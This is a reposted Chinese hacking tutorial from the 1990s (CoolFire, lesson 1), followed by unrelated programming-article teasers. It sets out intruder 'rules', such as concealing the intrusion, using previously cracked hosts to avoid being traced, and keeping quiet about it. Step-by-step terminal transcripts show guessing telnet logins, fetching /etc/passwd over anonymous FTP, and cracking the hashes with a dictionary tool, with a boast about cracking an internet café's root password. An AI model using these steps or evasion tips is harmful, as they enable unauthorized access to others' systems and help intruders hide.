CoolFire系列讲座 第1讲_林正隆黑客入门教程-程序员宅基地

作者:CoolFire [[email protected]] (2001-10-12 15:00:00)
CoolHC Volume 1 By CoolFire Author E-Mail: [email protected]

林正隆,中国台湾著名黑客,中国黑客领军人物。2011年获得COG信息安全终身成就奖
林正隆-百度百科

说明:本系列文章是整理Coolfire的8篇黑客入门文章,因在浏览网上相关文章的时候,要么残缺不全,要么文章排版极乱,阅读体验极差,为了获得更好的阅读体验故而做此整理。

这不是一个教学文件, 只是告诉你该如何破解系统, 好让你能够将自己的系统作安全的保护, 如果你能够将这份文件完全看完, 你就能够知道电脑黑客们是如何入侵你的电脑, 我是CoolFire, 写这篇文章的目的是要让大家明白电脑安全的重要性, 并不是教人 Crack Password 若有人因此文件导致恶意入侵别人的电脑或网路, 本人概不负责 !!

1、甚么是 Hacking ?

就是入侵电脑! 有甚么好解释的! 大部份有关介绍 Hacker 的书籍或小说及文件等都有清楚的介绍, 沉迷於电脑的人… 破坏… 唉! 一大堆怪解释就是了, 最好不要成为一个 “骇客”, 我… 不是!

2、为甚么要 Hack ?

我们只是为了要解更多关於系统的技术, 入侵它,了解它是如何运作的, 试试它的安全性, 然後学著去使用它, 读取系统中有关操作的说明, 学习它的各项操作 !! 为了安全性而作革命!

3、Hack 守则

  1. 不恶意破坏任何的系统, 这样作只会给你带来麻烦.恶意破坏它人的软体将导致法律刑责, 如果你只是使用电脑, 那仅为非法使用!! 注意: 千万不要破坏别人的软体或资料 !!
  2. 不修改任何的系统档, 如果你是为了要进入系统而修改它, 请在答到目的後将它改回原状.
  3. 不要轻易的将你要 Hack 的站台告诉你不信任的朋友.
  4. 不要在 bbs 上谈论你 Hack 的任何事情.
  5. 在 Post 文章的时候不要使用真名.
  6. 正在入侵的时候, 不要随意离开你的电脑.
  7. 不要侵入或破坏政府机关的主机.
  8. 不在电话中谈论你 Hack 的任何事情.
  9. 将你的笔记放在安全的地方.
  10. 想要成为 Hacker 就要真正的 Hacking, 读遍所有有关系统安全或系统漏洞的文件 (英文快点学好)!
  11. 已侵入电脑中的帐号不得清除或修改.
  12. 不得修改系统档案, 如果为了隐藏自己的侵入而作的修改则不在此限, 但仍须维持原来系统的安全性, 不得因得到系统的控制权而将门户大开 !!
  13. 不将你已破解的帐号分享与你的朋友.

4、破解之道

  1. 进入主机中
  2. 得到 /etc/passwd
  3. 得到系统帐号
  4. 得到最高权限

How 1.

进入主机有好几种方式, 可以经由 Telnet (Port 23) 或 SendMail (Port 25)或 FTP 或 WWW (Port 80) 的方式进入, 一台主机虽然只有一个位址, 但是它可能同时进行多项服务, 所以如果你只是要 “进入” 该主机, 这些 Port 都是很好的进行方向. 当然还有很多 Port, 但是 DayTime 的 Port 你能拿它作甚么??? 我不知道, 你知道吗?!

底下的示范并不是像写出来的那么容易, 只不过是要让你 解如何进入, 当然其中还有很多问题, 如打错指令… 等等的毛病… 没有出现在课堂上, 但是我为了面子… 一定要删掉这些不堪入目的东西嘛…

示范进入主机的方法: (By CoolFire)

(首先要先连上某一台你已经有帐号的 Telnet 主机, 当然最好是假的, 也就是 Crack过的主机, 然後利用它来 Crack 别的主机, 才不会被别人以逆流法查出你的所在)

Digital UNIX (ms.hinet.net) (ttypa)
login: FakeName
Password:
Last login: Mon Dec   2 03:24:00 from 255.255.0.0

(我用的是 ms.hinet.net … 当然是假的罗, 都已经经过修改了啦 !!没有这一台主机啦 !! 别怕 ! 别怕 ! 以下的主机名称都是假的名称, 请同学们要记得 !!)

Digital UNIX V1.2C   (Rev. 248); Mon Oct 31 21:23:02 CST 1996
Digital UNIX V1.2C Worksystem Software (Rev. 248)
Digital UNIX Chinese Support V1.2C (rev. 3)

(嗯… 进来了 ! 开始攻击吧 ! 本次的目标是…)

ms.hinet.net> telnet www.fuckyou.hinet.net    (Telnet 试试看....)
Trying 111.222.255.255...
Connected to cool.fuckyou.hinet.net.
Escape character is '^]'.
Password:
Login incorrect

(没关系, 再来 !!)

cool login: hinet
Password:
Login incorrect
cool login:

(都没猜对, 这边用的是 猜 的方法, 今天运气好像不好)

telnet> close
Connection closed.

(重来, 换个 Port 试试看 !!)

ms.hinet.net> telnet 111.222.255.255 80
Trying 111.222.255.255...
Connected to 111.222.255.255.
Escape character is '^]'.
<HTML>
<HEAD>
<TITLE>Error</TITLE>
</HEAD>
<BODY>
<H1>Error 400</H1>
Invalid request "" (unknown method)
<P><HR><ADDRESS><A HREF="http://www.w3.org">CERN-HTTPD 3.0A</A></ADDRESS>
</BODY>
</HTML>
Connection closed by foreign host.

(哇哩 !! 连密码都没得输入, 真是… 再来 !! 要有恒心 !!)
(换 FTP Port 试试)

ms.hinet.net> ftp 111.222.255.255
Connected to 111.222.255.255.
220 cool FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) ready.
Name (111.222.255.255:FakeName): anonymous
331 Guest login ok, send your complete e-mail address as password.
Password:
230-Welcome, archive user!   This is an experimental FTP server.   If have any
230-unusual problems, please report them via e-mail to root@cool.com
230-If you do have problems, please try using a dash (-) as the first character
230-of your password -- this will turn off the continuation messages that may
230-be confusing your ftp client.
230-
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.

(哇 ! 可以用 anonymous 进来耶!! password 部份输入 aaa@ 就好了 !不要留下足迹喔!!)

ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for file list.
etc
pub
usr
bin
lib
incoming
welcome.msg
226 Transfer complete.

(嗯嗯… 太好了 ! 进来了 !! 下一个目标是…)

ftp> cd etc
250 CWD command successful.
ftp> get passwd          (抓回来 !!)
200 PORT command successful.
150 Opening BINARY mode data connection for passwd (566 bytes).
226 Transfer complete.
566 bytes received in 0.56 seconds (0.93 Kbytes/s)

(喔… 这么容易吗??)

ftp> !cat passwd       (看看 !!!)
root::0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/var/spool/news:
uucp:*:10:14:uucp:/var/spool/uucp:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
ftp:*:404:1::/home/ftp:/bin/bash

(哇哩… 是 Shadow 的… 真是出师不利… )

ftp> bye
221 Goodbye.

(不信邪… 还是老话, 要有恒心…)
(FTP 不行, 再 Telnet 看看 !!)

ms.hinet.net> telnet www.fuckyou.hinet.net
Trying 111.222.255.255...
Connected to cool.fuckyou.hinet.net.
Escape character is '^]'.
Password:
Login incorrect

(又猜错 !!)

cool login: fuckyou
Password:
Last login: Mon Dec   2 09:20:07 from 205.11.122.12
Linux 1.2.13.
Some programming languages manage to absorb change but withstand
progress.
cool:~$  

(哇哈哈 !! 哪个笨 root, 用 system name 作 username 连password 也是 system name… 总算… 没白玩…)

cool:~$ system
bash: system: command not found

(嗯… 这个 user 的权限好像不大…)

cool:~$ ls
cool:~$ pwd
/home/fuckyou
cool:~$ cd /
cool:/$ ls
Public/       cdrom/        lib/          mnt/          tmp/          www/
README        dev/          linux*        proc/         usr/
bin/          etc/          local/        root/         var/
boot/         home/         lost+found/   sbin/         
cool:/$ cd etc
telnet> quit

(好想睡呀 !! 不玩了 !! 下节课再开始…)

Connection closed.
ms.hinet.net> exit

(走了 !! 下节课在见啦 !! 今天就上到这里 ! 老师要先下班了 !!)
(有学生说: 骗人! 还没有破解呀!! 胡说 ! 不是已经进来了吗 ???看看这节课上的是甚么??? ---->进入主机 !! 嗯…)


How 2.

上节课抓回来一个 “乱七八糟” 的 /etc/passwd, 你以为我的真那么笨吗?? guest 所抓回来的能是甚么好东西?? 所以这一节课继续上次的攻击行动. 上节课我们已经 “猜” 到了一个不是 guest 的 username 及 password. 今天就以它来进入主机瞧瞧 !!

Digital UNIX (ms.hinet.net) (ttypa)
login: FakeName
Password:
Last login: Mon Dec   2 03:24:00 from 255.255.0.0
Digital UNIX V1.2C   (Rev. 248); Mon Oct 31 21:23:02 CST 1996
Digital UNIX V1.2C Worksystem Software (Rev. 248)
Digital UNIX Chinese Support V1.2C (rev. 3)

(嗯… 进来了 ! 开始攻击吧 ! 本次的目标是…呵…)

ms.hinet.net> telnet cool.fuckyou.hinet.net    (Telnet 试试看.... 昨天的位址, 有作笔记吧!)
stsvr.showtower.com.tw> telnet cool.fuckyou.hinet.net
Trying 111.222.255.255...
Connected to cool.fuckyou.hinet.net.
Escape character is '^]'.
Password:
Login incorrect
cool login: fuckyou
Password:              (一样输入 fuckyou)
Last login: Mon Dec   1 12:44:10 from ms.hinet.net
Linux 1.2.13.
cool:~$ cd /etc
cool:/etc$ ls
DIR_COLORS          ftpusers            localtime           resolv.conf
HOSTNAME            gateways            magic               rpc
NETWORKING          group               mail.rc             securetty
NNTP_INEWS_DOMAIN   host.conf           motd                sendmail.cf
X11@                hosts               messages/               sendmail.st
XF86Config          hosts.allow         mtab                services
at.deny             hosts.deny          mtools              shells
bootptab            hosts.equiv         named.boot          shutdownp
csh.cshrc           hosts.lpd           networks            snoopy/
csh.login           httpd.conf          nntpserver          slip.hosts
exports             inetd.conf          passwd              snooptab
fastboot            inittab             passwd.OLD          syslog.conf
fdprm               issue               passwd.old          syslog.pid
fstab               ld.so.cache         printcap            ttys
ftpaccess           ld.so.conf          profile             utmp@

(找寻目标… 太乱了 ! 懒得找, 再来 …)

cool:/etc$ ls pa*
passwd       passwd.OLD   passwd.old

(果然在)

cool:/etc$ more passwd

(看看有没有 Shadow…)

root:acqQkJ2LoYp:0:0:root:/root:/bin/bash
john:234ab56:9999:13:John Smith:/home/john:/bin/john

(正点 ! 一点都没有防备 !!)

cool:/etc$ exit
logout

(走了!.. 换 FTP 上场 !!)

Connection closed by foreign host.
ms.hinet.net> ftp www.fuckyou.hinet.net
Connected to cool.fuckyou.hinet.net.
220 cool FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) ready.
Name (www.fuckyou.hinet.net:66126): fuckyou
331 Password required for fuckyou.
Password:
230 User fuckyou logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd /etc
250 CWD command successful.
ftp> get passwd
200 PORT command successful.
150 Opening BINARY mode data connection for passwd (350 bytes).
226 Transfer complete.
350 bytes received in 0.68 seconds (1.9 Kbytes/s)
ftp> !cat passwd
root:acqQkJ2LoYp:0:0:root:/root:/bin/bash
john:234ab56:9999:13:John Smith:/home/john:/bin/john

(看看 ! 呵 ! 假不了 !!..)

ftp> bye
221 Goodbye.
ms.hinet.net> exit

(闪人罗 !! 下课 !!.. 喔慢点, 还有事要说明…)
passwd 的 Shadow 就是把 passwd 放在 shadow 档中, 而你原先在第一节课所看到的这个格式的 passwd 并不是真正的 passwd…
root::0:0:root:/root:/bin/bash
因为密码的部份没有东西… 所以拿了也没有用 !! 但这一节课所拿到的东西呢,像是这样, 有几点需要说明的, 就是它究竟代表著甚么???

john:234ab56:9999:13:John Smith:/home/john:/bin/sh

它以 “:” 分成几个栏位, 各栏位对照如下:

User Name: john
Password:234ab56
User No: 9999
Group No: 13
Real Name: John Smith
Home Dir: /home/john
Shell: /bin/sh

了吧 ! 了吧 ! 保留著你千辛万苦所拿到的 passwd, 咱们第三节课再来告诉各位如何使用 Crack Jack 把 passwd 解码… 呵呵… zzZZzZzz…


HOW3.

Crack Jack V1.4 中文使用说明 (By CoolFire 12-1-1996)

嗯… 该到第三课了 !! 累了的同学先去喝口水吧!这一节课咱们来说说 Crack Jack ! 这可是个解读 /etc/passwd 的好工具喔, 不要告诉我你习惯用 Brute, 拿 Brute 跟 Crack Jack 的速度比比看, 包准你马上投向 Crack Jack 1.4 的怀抱, 但请先确定你所使用的是 Crack Jack 1.4, 你可以在 CoolFire 的 Hacker&Mailer Page 中拿到这个版本的 Crack Jack ! 这才是真正有用的版本, 速度… 对… 就是这点别人都比不上 ! 但还是要讲讲它的缺点… 就是只能在 DOS 跟 OS2 中跑, 如果在 Windoz 95 上开个 DOS Mode 跑, 它可是连理都不会理你的 !

OK! 现在切入正题 ! etc/passwd 拿到手了吧 !! 开始罗 !! 使用 Crack Jack 1.4 前所需要的东西有这些 [1] Crack Jack 1.4 (废话…$%^&@@) [2] /etc/passwd 档案, 你可以在 Unix 系统中的 /etc/ 目录中找到 passwd [3] 字典档 (哪里找, 自己敲… 呵 ClayMore 中有一份 DIC.TXT是有一千多个字的字典, 但比起我的字典可就小巫见大巫了, LetMeIn! 1.0 里面也有, 听 James
说 2.0 Release 的时候会有更棒的字典档含入, 期待吧!)… 使用 Crack Jack 1.4 前需先确定你所使用的机器是 386 含以上 CPU 的 ! 然後最好有充足的记忆体 !!

开始 Jack 时只要敲入 JACK 即可, 它会问你 PW Name… 输入你的 passwd 档名, DictionaryName 输入你的字典档名, Jack 就会开始找了 ! 找到时会告诉你, 也会在 JACK.POT 中写入它所找到的密码 !! 但… 有点怪的格式! 如果找到的是具 root 权限的密码, Jack 会告诉你 This isJackAss… 嗯…说脏话了 !! 因为使用 Jack 占用的时间实在太多, 如果你中途想要停掉时只要
按下 Ctrl-C 即可, 别以为你前功尽弃了! 因为 Jack 有个 Restore 的功能, 中断时会自动存档为 RESTORE, 下次要继续这次的寻找只要输入 Jack -Restore:RESTORE 即可 !! 当然你也可以为你的 Restore 重新命名 ! Jack 也会找得到的 … 如 Ren restore restore.HNT 之後要再寻找的时後就 Jack -Restore:RESTORE.HNT 即可… Jack 会很自动的 Restore 前次所寻找的字串…继续帮你找下去…

字典档哪里找: 我的不给你! 可以找别的 Brute Force 之类的程式, 有些里面会附, 或是找找其它的 Hacker 地下站看看有没有, 自己编一个, 或找个英汉字典软体将字典的部份解出来, 可能要有一点资料栏位及写程式的基础.

[这一节课没有范例] 成功的案例: 找到过某家网路咖啡店的 root 权限密码 ! Jack 好正点呀 !!!所花的时间: 20 分钟左右… 但也有找了一两天也找不到的… 呜… 骇客们! 加油吧 !!

继续

继续阅读:

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_44721831/article/details/104277839

智能推荐

在jQuery动态加载的元素上加载jQuery-程序员宅基地

对于一般的动态加载元素,我们需要在ready中写jQuery(因为只有页面完全加载出来才能保证ajax的父级元素存在并可以绑定),下面是一个例子。$(document).ready(function(){ $('#id').on('click', function(){ $('#id2').html("Loading..."); $.ajax({ type : "POST", ...

LeetCode:232. 用栈实现队列(简单)-程序员宅基地

题目描述请你仅使用两个栈实现先入先出队列。队列应当支持一般队列的支持的所有操作(push、pop、peek、empty):实现 MyQueue 类:void push(int x) 将元素 x 推到队列的末尾int pop() 从队列的开头移除并返回元素int peek() 返回队列开头的元素boolean empty() 如果队列为空,返回 true ;否则,返回 false说明:你只能使用标准的栈操作 —— 也就是只有 push to top, peek/pop from top,

bootstrap-程序员宅基地

为什么80%的码农都做不了架构师?>>> ..._alt="cinque terre

java微信支付v3系列——9.微信支付之商家转账API_微信转账api_CV大魔王的博客-程序员宅基地

这里和发起创建支付订单的请求相似,因此不单独列出,首先是封装转账请求参数,然后是获取请求对象发起请求,完成签名验证发送请求,最后解析数据,如果转账失败则返回提示信息给用户。商家转账支持一次性多次转账,一次最多可以发起3000笔转账,估计是为了防止营销手段,所以该接口设置了QPS为50,注意自己的业务,别踩雷!这个功能就比较复杂了,首先是得有90天的资金流水才能开通,其次开通后还需要在官网进行配置,不能直接调用,并且限制了IP地址。那么数据可以理解为,转账说明,和详细说明。_微信转账api

使用redux-thunk实现异步redux(基础文章)_redux-thunk异步函数的第二个参数-程序员宅基地

使用redux-thunk实现异步reduxRedux存在一个问题,就是无法实现异步的action,这也就是为什么我们要引入redux-thunk的原因。在哪里引入redux-thunk?在redux的核心组件store中引入。我们引入的这个thunk,相当于一个中间件。所以我们同时需要从redux中引入applyMiddleware,放入createStore的第二个参数中。import {createStore,applyMiddleware} from 'redux';import _redux-thunk异步函数的第二个参数

Ping不通的原因分析-程序员宅基地

原文链接:https://segmentfault.com/a/1190000015104686 背景简介ping是常用的网络管理命令,ping也属于一个通信协议,是TCP/IP协议的一部分,适用于windows和linux以及unix根据reply用来检查网络是否通畅&amp;网络连接的速度(time)主要是端对端的,针对目标ip或者目标网址原理给对端(目标ip)发..._ping不通

随便推点

Apache Commons 工具包-程序员宅基地

http://langgufu.iteye.com/blog/1913579

Windows64位系统进入debug模式-程序员宅基地

Debug 是DOS、Windows 提供的实模式(8086方式)程序的调试工具。使用它, 可以查看CPU各种寄存器中的内容、内存的情况和在机器码级跟踪程序的运行。由于各种原因,我们可能需要使用debug 。然而,现在大多数人的电脑是64位系统,而64位系统已经不再支持命令行模式下进入debug。那64位系统用户怎样才能进入debug模式呢? 我们可以通过安装配置DOSBox和deb...

全网最新 java 开发 OPC 实现 DA 通讯控制点位 西门子_opcserver组态软件java开发-程序员宅基地

OPC SERVER软件使用MatrikonOPC: 使用Matrikon OPC Server SimulationKEPServer V6: 使用KEPServerEX 6安装教程参考: https://www.cnblogs.com/ioufev/p/9366426.html_opcserver组态软件java开发

解决阿里云ECS服务器无法连接Redis_阿里云ecs 连不上redis 7-程序员宅基地

1.开启防火墙:systemctl start firewalld.service2.添加端口:firewall-cmd --zone=public --add-port=6379/tcp --permanent3.重启防火墙:firewall-cmd --reload再尝试连接,还是连接不上。在安全规则,设置6379端口。以上操作实在完成Redis缓存,并可以成功开启Redis,只是无法远程连接的解决方法。..._阿里云ecs 连不上redis 7

MDaemon 常用视频教程-程序员宅基地

1.备份与升级 2.Worldclient在iis下运行 3.从9版本升级至10版本

python分析b站_Python爬取并分析B站最热排行榜,我发现了这些秘密_难得喜欢的博客-程序员宅基地

现在大家的生活中,已经越来越离不开B站了,2020年的第一季度,B站月活跃用户达到了1.72亿,日活跃用户也已经突破了5000万个用户。源源不断的流量让B站的up主们也是粉丝数目不断暴涨,百万粉丝的up主比比皆是。今天,我就带领大家来爬取并分析一下B站的最热视频排行榜,看看大家究竟都喜欢看什么样子的视频~~01.榜单信息抓取对于榜单的爬取,我们爬取了榜单的前一百名视频的播放量,弹幕数量,以及视频的..._爬取bilibili综合热门排行榜及数据分析csdn